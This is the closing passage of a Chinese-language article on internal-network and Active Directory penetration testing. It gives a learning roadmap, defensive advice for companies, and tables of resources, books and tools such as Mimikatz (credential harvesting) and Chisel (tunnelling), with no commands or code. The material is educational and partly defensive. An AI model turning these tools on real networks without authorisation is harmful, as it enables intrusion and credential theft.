   - 网络协议（SMB、LDAP、Kerberos）
   - 域架构理解

3. 掌握工具
   - Metasploit（精通）
   - CrackMapExec（熟练）
   - BloodHound（熟练）
   - Mimikatz（熟练）

4. 持续练习
   - HackTheBox Pro Labs
   - TryHackMe AD 房间
   - 自建实验环境
```

**给企业的建议**：

```
1. 网络分段
   - 办公网、服务器网、数据库网分离
   - 严格访问控制
   - 监控跨网段流量

2. 权限管理
   - 最小权限原则
   - 定期审查权限
   - 分离管理账户

3. 监控检测
   - 部署 SIEM
   - 监控异常登录
   - 检测横向移动

4. 定期演练
   - 红队演练
   - 内网渗透测试
   - 应急响应演练
```

---

## 参考资料

### 学习资源

| 资源 | 类型 | 链接 |
|------|------|------|
| **ATT&CK 框架** | 知识库 | https://attack.mitre.org |
| **Red Team Notes** | 笔记 | https://www.ired.team |
| **BloodHound 文档** | 文档 | https://bloodhound.readthedocs.io |
| **CrackMapExec 文档** | 文档 | https://crackmapexec.readthedocs.io |

### 工具资源

| 工具 | 官网 | 用途 |
|------|------|------|
| **Metasploit** | https://metasploit.com | 渗透框架 |
| **CrackMapExec** | GitHub | 内网扫描 |
| **Impacket** | GitHub | Python 工具集 |
| **Mimikatz** | GitHub | 凭证收集 |
| **BloodHound** | GitHub | 域分析 |
| **Chisel** | GitHub | TCP 隧道 |
| **reGeorg** | GitHub | HTTP 隧道 |

### 书籍推荐

| 书名 | 作者 | 难度 |
|------|------|------|
| 《Red Team Development and Operations》 | Joe Vest | 进阶 |
| 《Advanced Penetration Testing》 | Wil Allsopp | 高级 |
| 《The Red Team Field Manual》 | Ben Clark | 参考 |
| `《Domain Penetration Testing》` | various | 实战 |

---

*365 天信息安全技术系列 | Day 218 | 内网渗透技术详解 | 字数：约 26,000 字*